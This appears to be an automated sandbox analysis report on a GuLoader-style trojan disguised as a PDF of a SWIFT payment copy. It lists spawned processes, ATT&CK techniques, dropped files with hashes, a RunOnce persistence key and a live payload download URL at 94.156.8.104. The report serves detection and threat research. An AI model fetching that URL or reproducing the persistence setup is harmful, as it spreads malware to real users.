Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Code function: 6_2_00405B99 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

6_2_00405B99

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	11 Process Injection	11 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Time Based Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	4 File and Directory Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Time Based Evasion	LSA Secrets	3 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SWIFTCOPYMT1030000000_pdf.exe	16%	ReversingLabs	Win32.Trojan.InjectorX
SWIFTCOPYMT1030000000_pdf.exe	36%	Virustotal		Browse
SWIFTCOPYMT1030000000_pdf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe	16%	ReversingLabs	Win32.Trojan.InjectorX
C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe	36%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\nsExec.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\nsExec.dll	1%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://94.156.8.104/yFtqL16.binApokOpt103.78.0.98/yFtqL16.bin	0%	Avira URL Cloud	safe
http://94.156.8.104/yFtqL16.bin	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://94.156.8.104/yFtqL16.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_Error	SWIFTCOPYMT1030000000_pdf.exe, SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	SWIFTCOPYMT1030000000_pdf.exe, 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmp, SWIFTCOPYMT1030000000_pdf.exe, 00000006.00000000.133684224870.0000000000409000.00000008.00000001.01000000.00000004.sdmp, SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmp	false		high
http://94.156.8.104/yFtqL16.binApokOpt103.78.0.98/yFtqL16.bin	SWIFTCOPYMT1030000000_pdf.exe, 00000088.00000002.134626594503.0000000009280000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.156.8.104	unknown	Bulgaria		43561	NET1-ASBG	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432107
Start date and time:	2024-04-26 13:36:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	142
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SWIFTCOPYMT1030000000_pdf.exe
Detection:	MAL
Classification:	mal96.troj.evad.winEXE@396/18@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 87% Number of executed functions: 46 Number of non-executed functions: 62
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212
Excluded domains from analysis (whitelisted): spclient.wg.spotify.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:39:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Blankbook C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe
12:39:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Blankbook C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
94.156.8.104	PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe	Get hash	malicious	GuLoader, Remcos	Browse	94.156.8.104/yhHZZNqAePDSUakAFmHWn151.bin

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NET1-ASBG	PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe	Get hash	malicious	GuLoader, Remcos	Browse	94.156.8.104
	DHL_ES567436735845755676678877988975877.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	87.121.105.163
	xtnhsVjQTxvH.exe	Get hash	malicious	Quasar	Browse	94.156.79.26
	o4883TEQGB.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.156.8.9
	Id2uxwyyf8.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.156.8.9
	Y4pblBbDQc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.156.8.9
	C5fMgX1ZyY.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.156.8.9
	6fV4tfoJp2.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.156.8.9
	fqEpqMWF6r.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.156.8.9
	D0dhEeGfv4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.156.8.9

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\nsExec.dll	PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe	Get hash	malicious	GuLoader, Remcos	Browse
C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\nsExec.dll	PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe	Get hash	malicious	GuLoader	Browse
C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll	PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe	Get hash	malicious	GuLoader, Remcos	Browse
	PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe	Get hash	malicious	GuLoader	Browse
	seDzEfSLFg.exe	Get hash	malicious	GuLoader	Browse
	seDzEfSLFg.exe	Get hash	malicious	GuLoader	Browse
	Sipari#U015f_#U00d6zellikleri.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Sipari#U015f_#U00d6zellikleri.exe	Get hash	malicious	GuLoader	Browse
	Factura_0104109174pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Factura_0104109174pdf.exe	Get hash	malicious	GuLoader	Browse
	Transferencia.exe	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SWIFTCOPYMT10300_b9e5f432cb9f1954977155ad8a81be740fe4f69_4d2b002c_27de1eb3-8436-4619-8df8-ea2aad8a21e4\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.007088769936823
Encrypted:	false
SSDEEP:	192:a2bgXx9emod9hKjYhvj2IDu76ffAIO83:IXr3od9hKjSDu76ffAIO83
MD5:	B4338B2F0CEFBEF9F598789C91B201CA
SHA1:	D5A0596BE6A009BC9DA13AF5DF79CE73BABAC543
SHA-256:	95AAA5190F0C73E3A06DAD1B066B2666D6AB7DC5B39C435F747076B16A363466
SHA-512:	0DD6630D2DE0B6802D697AFA6B94C54DAF8A13C95592D1CCD7DC0B340FB775FF3932C968D005B812AF8529D2301104A848F816AFCF98480300E71E825E6D3637
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.6.0.5.1.6.2.1.0.5.2.9.6.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.6.0.5.1.6.2.4.6.4.5.8.4.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.7.d.e.1.e.b.3.-.8.4.3.6.-.4.6.1.9.-.8.d.f.8.-.e.a.2.a.a.d.8.a.2.1.e.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.9.1.1.0.e.2.b.-.5.c.e.c.-.4.3.9.7.-.b.a.a.c.-.9.f.c.0.c.7.5.b.3.8.1.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.W.I.F.T.C.O.P.Y.M.T.1.0.3.0.0.0.0.0.0.0._.p.d.f...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.f.4.-.0.0.0.1.-.0.0.2.7.-.1.c.4.4.-.8.0.5.8.c.e.9.7.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.2.8.9.4.a.9.2.1.2.9.d.4.7.9.9.d.4.d.5.7.e.b.5.1.c.e.2.6.d.c.3.0.0.0.0.0.9.0.4.!.0.0.0.0.8.a.3.3.7.0.d.0.1.a.1.7.0.6.2.6.e.f.4.3.2.0.2.f.5.f.e.5.4.e.2.7.3.7.2.a.b.e.c.4.!.S.W.I.F.T.C.O.P.Y.M.T.1.0.3.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF676.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 26 11:39:22 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	89228
Entropy (8bit):	1.9852446809809239
Encrypted:	false
SSDEEP:	384:rlh7p+9QZFICttAG1LXIILMS3JeyugLERYLs8RBF6qkx:n7p+9Q3ICgG1DT15udRYLrnM/
MD5:	E34E1D319E034A895D1227CB365DA2CF
SHA1:	E613250454A839297CA68316A2894447DF496081
SHA-256:	A2C112A76D1E47530B0BC7B69BE56CC02BE8557776C9D3F06D6207C941FFAF5E
SHA-512:	4DE93FDE47A1DF4432CA5EB203B01C17A6BEF5539BBE7C8CD0005F0249B70FAFB0606DACEE74BB0500CE69826242A7B203DB7AAE2FDAE512D10E22AF8BD065DA
Malicious:	false
Preview:	MDMP..a..... .......j.+f........................................ZF..........T.......8...........T............0...,....................... ..............................................................................bJ......d!......GenuineIntel...........T...........Z.+f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF703.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8516
Entropy (8bit):	3.704002012904152
Encrypted:	false
SSDEEP:	192:R9l7lZNiwu6E6YMf6xgmfFbbmjpDG89bsEsfokm:R9lnNiB6E6Ys6xgmfFbys3f6
MD5:	F7D315440C68A94937FFF06A00F6D313
SHA1:	F70FFB0FC3D714F6A4D07A9D4A7518ED58E53228
SHA-256:	2F35E501EFD3DC66DF9222E52B28CBD209BA2B59854CDB6DF418DDEAA9C727BD
SHA-512:	FAE0E3AD9122A8A2FB4A1FCE9A39F78F794269C3802DAECBC46DFC732EABF2C9916C3082D655CC3F5292089DE5AC3FC386EB0F06EBB1991E2DEBB85AE9254253
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.2.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF743.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4939
Entropy (8bit):	4.54664521029274
Encrypted:	false
SSDEEP:	48:cvIwwtl8zs0e702I7VFJ5WS2CfjkDs3rm8M4Jq5CFLE+q8v95Nrdm683hd:uILfZ7GySPfHJAK15mp3hd
MD5:	DDA7A1B7B3D4D8A0679B33F39E8251A8
SHA1:	ADE3F42C1BE7A171D6FA32611B59217ACFAFB550
SHA-256:	7890169558DC3FEB77AE210A69AFA501EE9AF5C6D8A337CF9386B2768921C1D1
SHA-512:	969668C1AF980257960430BC587C734CF4F65A351186BD4A856AF6A17B73C8F292BC4727471B82B4969DDCF25A18CB8C8D613F01C0A8A98A2505B1383B2782BA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222640610" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\Users\user\AppData\Local\Temp\Drikkelse\Nonaddicting.exe

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	421592
Entropy (8bit):	7.682325489967793
Encrypted:	false
SSDEEP:	6144:TzZzycMVGAnF3KMrbYTE6ZudWKJJGGCaSninelmgkpmcqaw/cXraHvfMV:5V9QF3ihgxtdel+jw/ar4vm
MD5:	1048340BCFAE30DF032C161AC52F8F0E
SHA1:	8A3370D01A170626EF43202F5FE54E27372ABEC4
SHA-256:	47A75BA2CC69F372C816FB61D079EBE6E3A81EEEB16E72726725B088A59F4E94
SHA-512:	446B5293FE99200305CDE7B4EAF17613B6C211AC46CE5EF38D383546C727DE348F6F4733051674CE309A1ED401941985120B0F80F449239D3375F91A2DE2704C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16% Antivirus: Virustotal, Detection: 36%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<`..x...x...x......z...x..........i...,"..t.......y...Richx...........................PE..L....e.Q.................\....9......0.......p....@...........................=.............................................s........;..............d..H............................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data.....9..........r..............@....ndata.......0:..........................rsrc.........;......v..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.724200018297216
Encrypted:	false
SSDEEP:	96:qIsUxO9udx4qYp7AJb76BykUbQMtHUOA5Iv+RnsrqeXV+d1g2IW9t2c+cEwF9Fug:ZVL7ikJb76BQUoUm+RnyXVYO2RvHFug
MD5:	6AD39193ED20078AA1B23C33A1E48859
SHA1:	95E70E4F47AA1689CC08AFBDAEF3EC323B5342FA
SHA-256:	B9631423A50C666FAF2CC6901C5A8D6EB2FECD306FDD2524256B7E2E37B251C2
SHA-512:	78C89BB8C86F3B68E5314467ECA4E8E922D143335081FA66B01D756303E1AEC68ED01F4BE7098DBE06A789CA32A0F31102F5BA408BC5AB28E61251611BB4F62B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe, Detection: malicious, Browse Filename: PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe, Detection: malicious, Browse Filename: seDzEfSLFg.exe, Detection: malicious, Browse Filename: seDzEfSLFg.exe, Detection: malicious, Browse Filename: Sipari#U015f_#U00d6zellikleri.exe, Detection: malicious, Browse Filename: Sipari#U015f_#U00d6zellikleri.exe, Detection: malicious, Browse Filename: Factura_0104109174pdf.exe, Detection: malicious, Browse Filename: Factura_0104109174pdf.exe, Detection: malicious, Browse Filename: Transferencia.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L....e.Q...........!.................&.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...h....@.......&..............@....reloc..H....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.028420190047439
Encrypted:	false
SSDEEP:	96:Q7GUaYNwCLuGFctpiKFlYJ8hH4RVHpwdEeY3kRlDr6dMqqyVgNF38:aygp3FcHi0xhYMR8dMqJVgN
MD5:	052A077EE8B519AADBCF29E6B5E710A4
SHA1:	B3AB29D0EBDBDCA63E4DFFD2FD2E6B9188FFAE4B
SHA-256:	9A1A5C6F598247BFA52624CD793B9EF4FB85863CC9DFD69EB7EF671CACC906C9
SHA-512:	CB11CBA331B85122DCC2D57171CE20382AF0A9FDF0A85A30155404D975901A313C9285EB9445E51979C6EC8416CCDF97FDEAF1BD2203C9395AD046A385A90009
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe, Detection: malicious, Browse Filename: PURCHASEORDERSHEET&SPECIFICATIONSDOC.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........d..7..7..7..7..7,..7..7..7..7..7..7Rich..7........PE..L....e.Q...........!......................... ...............................P.......................................$..l.... ..P............................@....................................................... ...............................text...J........................... ..`.rdata..,.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\udskriftskartotek\chiromancy\refalling\Nonessential\Milched.gri

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	217824
Entropy (8bit):	1.0399386438008156
Encrypted:	false
SSDEEP:	768:TxtDvwwKe7lLjmPR6s64AFEdo7QFOIZ8v6oS/88AGuh7Wz+dUa826EL6tqZscZGg:XgCj6kzuIT
MD5:	0CDAC4CECC5709A94D54CCAED51945E0
SHA1:	DA022C65989787E3C16C0FD4754FEB55E2851D60
SHA-256:	A6EBB5155B1EB41CF2485F84E7FD89ECC3FEB27B0EAD2F11107495E662BC776F
SHA-512:	4D54F9D2CAFA7E6D88BA394D17B4748D37ADAB57D0F18AC2D9162F4789D3EF3599CCE94570195525699819ACFBD8A56E44B15B2735382737675ABA34BF663642
Malicious:	false
Preview:	..4..................a........................................................................................p................................r......................................................................................A..........@.^.....b............................................".X........................=..............i.......................................................................................................(......................................................$..............................q...................................................................../.........#...........a............................................................;..............W.........................................................B...............:............................q.......$...............................A.......................................a.........................................J............................<...................................................

C:\Users\user\udskriftskartotek\chiromancy\refalling\Nonessential\Uforstaaeligheds.Com

Download File

Process:	C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	153900
Entropy (8bit):	7.748880956807625
Encrypted:	false
SSDEEP:	3072:NoIf/wL0q3LqwKd9z1hu9dDlaCYKo54xLPEAdJFxQjlH6UjpO3:NTf4YbDzj0VzYZ54VHQdVI
MD5:	AF0A71A847EAFD2BC3C2CEE3D0F81BEA
SHA1:	B3778CCE5E994E2DEDE039B30D44E85F945B4275
SHA-256:	2BDF5166D0B62258965F6B308CF42150D8D129DE55E59C6851D744E7242A0D7D
SHA-512:	27BCB4EA5AA12A4EE82633332AFAA41627975D301F85AB6B4D13B0CAEE9FCBCA310D863EC969E69782F03D1F13AF13A8DBA4B12A592E19FCA3AB71EAC63436D0
Malicious:	false
